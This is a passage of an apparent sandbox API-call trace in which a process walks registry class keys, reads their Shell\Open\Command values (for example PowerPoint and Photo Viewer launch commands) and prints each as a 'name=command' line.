lpMultiByteStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124 [0101.281] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7b, lpOverlapped=0x0) returned 1 [0101.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5b, lpName=0x2eef50, cchName=0x104 | out: lpName="PNGFilter.CoPNGFilter") returned 0x0 [0101.281] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PNGFilter.CoPNGFilter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.281] SetLastError (dwErrCode=0x2) [0101.281] RegCloseKey (hKey=0x0) returned 0x6 [0101.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5c, lpName=0x2eef50, cchName=0x104 | out: lpName="PNGFilter.CoPNGFilter.1") returned 0x0 [0101.281] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PNGFilter.CoPNGFilter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.281] SetLastError (dwErrCode=0x2) [0101.281] RegCloseKey (hKey=0x0) returned 0x6 [0101.281] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5d, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDevice.PortableDevice") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDevice.PortableDevice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5e, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDevice.PortableDevice.1") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDevice.PortableDevice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5f, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceClassExtension.PortableDeviceClassExtension") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceClassExtension.PortableDeviceClassExtension\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb60, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceClassExtension.PortableDeviceClassExtension.1") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceClassExtension.PortableDeviceClassExtension.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb61, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceFTM.PortableDeviceFTM") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceFTM.PortableDeviceFTM\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb62, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceFTM.PortableDeviceFTM.1") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceFTM.PortableDeviceFTM.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.282] SetLastError (dwErrCode=0x2) [0101.282] RegCloseKey (hKey=0x0) returned 0x6 [0101.282] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb63, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceManager.PortableDeviceManager") returned 0x0 [0101.282] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceManager.PortableDeviceManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb64, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceManager.PortableDeviceManager.1") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceManager.PortableDeviceManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb65, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceService.PortableDeviceService") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceService.PortableDeviceService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb66, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceService.PortableDeviceService.1") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceService.PortableDeviceService.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb67, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceServiceFTM.PortableDeviceServiceFTM") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceServiceFTM.PortableDeviceServiceFTM\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb68, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceServiceFTM.PortableDeviceServiceFTM.1") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceServiceFTM.PortableDeviceServiceFTM.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb69, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceValues.PortableDeviceValues") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceValues.PortableDeviceValues\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.283] SetLastError (dwErrCode=0x2) [0101.283] RegCloseKey (hKey=0x0) returned 0x6 [0101.283] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6a, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceValues.PortableDeviceValues.1") returned 0x0 [0101.283] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceValues.PortableDeviceValues.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.284] SetLastError (dwErrCode=0x2) [0101.284] RegCloseKey (hKey=0x0) returned 0x6 [0101.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6b, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceValuesCollection.PortableDeviceValuesCollection") returned 0x0 [0101.284] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceValuesCollection.PortableDeviceValuesCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.284] SetLastError (dwErrCode=0x2) [0101.284] RegCloseKey (hKey=0x0) returned 0x6 [0101.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6c, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceValuesCollection.PortableDeviceValuesCollection.1") returned 0x0 [0101.284] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceValuesCollection.PortableDeviceValuesCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.284] SetLastError (dwErrCode=0x2) [0101.284] RegCloseKey (hKey=0x0) returned 0x6 [0101.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6d, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceWiaCompat.PortableDeviceWiaCompat") returned 0x0 [0101.284] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceWiaCompat.PortableDeviceWiaCompat\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.284] SetLastError (dwErrCode=0x2) [0101.284] RegCloseKey (hKey=0x0) returned 0x6 [0101.284] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6e, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceWiaCompat.PortableDeviceWiaCompat.1") returned 0x0 [0101.284] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceWiaCompat.PortableDeviceWiaCompat.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.285] SetLastError (dwErrCode=0x2) [0101.285] RegCloseKey (hKey=0x0) returned 0x6 [0101.285] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6f, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceWMDRM.PortableDeviceWMDRM") returned 0x0 [0101.285] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceWMDRM.PortableDeviceWMDRM\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.286] SetLastError (dwErrCode=0x2) [0101.286] RegCloseKey (hKey=0x0) returned 0x6 [0101.287] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb70, lpName=0x2eef50, cchName=0x104 | out: lpName="PortableDeviceWMDRM.PortableDeviceWMDRM.1") returned 0x0 [0101.287] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortableDeviceWMDRM.PortableDeviceWMDRM.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.335] SetLastError (dwErrCode=0x2) [0101.335] RegCloseKey (hKey=0x0) returned 0x6 [0101.336] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb71, lpName=0x2eef50, cchName=0x104 | out: lpName="PortalConnect14.PersonalSite") returned 0x0 [0101.336] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortalConnect14.PersonalSite\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.346] SetLastError (dwErrCode=0x2) [0101.346] RegCloseKey (hKey=0x0) returned 0x6 [0101.346] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb72, lpName=0x2eef50, cchName=0x104 | out: lpName="PortalConnect14.PersonalSite.1") returned 0x0 [0101.347] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PortalConnect14.PersonalSite.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.348] SetLastError (dwErrCode=0x2) [0101.348] RegCloseKey (hKey=0x0) returned 0x6 [0101.348] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb73, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPivotExcelClientAddIn.NativeEntry") returned 0x0 [0101.349] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPivotExcelClientAddIn.NativeEntry\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.349] SetLastError (dwErrCode=0x2) [0101.349] RegCloseKey (hKey=0x0) returned 0x6 [0101.349] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb74, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Addin") returned 0x0 [0101.349] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Addin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.349] SetLastError (dwErrCode=0x2) [0101.349] RegCloseKey (hKey=0x0) returned 0x6 [0101.349] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb75, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Addin.12") returned 0x0 [0101.349] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Addin.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.349] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.349] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.349] RegCloseKey (hKey=0x64) returned 0x0 [0101.349] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 98 [0101.350] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.350] GetFileType (hFile=0x5c) returned 0x3 [0101.350] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.350] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.350] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb76, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Addin.8") returned 0x0 [0101.350] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Addin.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.350] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x88) returned 0x0 [0101.350] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x88 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"", lpcbData=0x2eef20*=0x88) returned 0x0 [0101.350] RegCloseKey (hKey=0x64) returned 0x0 [0101.350] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n") returned 88 [0101.350] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.350] GetFileType (hFile=0x5c) returned 0x3 [0101.350] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0101.351] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0101.351] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb77, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Application") returned 0x0 [0101.352] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.353] SetLastError (dwErrCode=0x2) [0101.353] RegCloseKey (hKey=0x0) returned 0x6 [0101.363] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb78, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Application.16") returned 0x0 [0101.372] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Application.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.373] SetLastError (dwErrCode=0x2) [0101.373] RegCloseKey (hKey=0x0) returned 0x6 [0101.373] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb79, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.OpenDocumentPresentation") returned 0x0 [0101.373] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.OpenDocumentPresentation\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.373] SetLastError (dwErrCode=0x2) [0101.373] RegCloseKey (hKey=0x0) returned 0x6 [0101.373] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7a, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.OpenDocumentPresentation.12") returned 0x0 [0101.373] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.OpenDocumentPresentation.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.373] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.374] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.374] RegCloseKey (hKey=0x64) returned 0x0 [0101.374] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 117 [0101.374] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.374] GetFileType (hFile=0x5c) returned 0x3 [0101.374] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118 [0101.374] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x75, lpOverlapped=0x0) returned 1 [0101.374] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7b, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Show") returned 0x0 [0101.374] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Show\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.375] SetLastError (dwErrCode=0x2) [0101.375] RegCloseKey (hKey=0x0) returned 0x6 [0101.375] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7c, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Show.12") returned 0x0 [0101.375] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Show.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.375] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.375] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.375] RegCloseKey (hKey=0x64) returned 0x0 [0101.375] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 97 [0101.375] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.375] GetFileType (hFile=0x5c) returned 0x3 [0101.375] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98 [0101.375] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x61, lpOverlapped=0x0) returned 1 [0101.376] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7d, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Show.8") returned 0x0 [0101.376] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Show.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.376] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.376] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.376] RegCloseKey (hKey=0x64) returned 0x0 [0101.376] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 96 [0101.376] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.376] GetFileType (hFile=0x5c) returned 0x3 [0101.376] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.376] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.377] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7e, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.ShowMacroEnabled") returned 0x0 [0101.377] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.ShowMacroEnabled\\Shell\\Open\\Command", 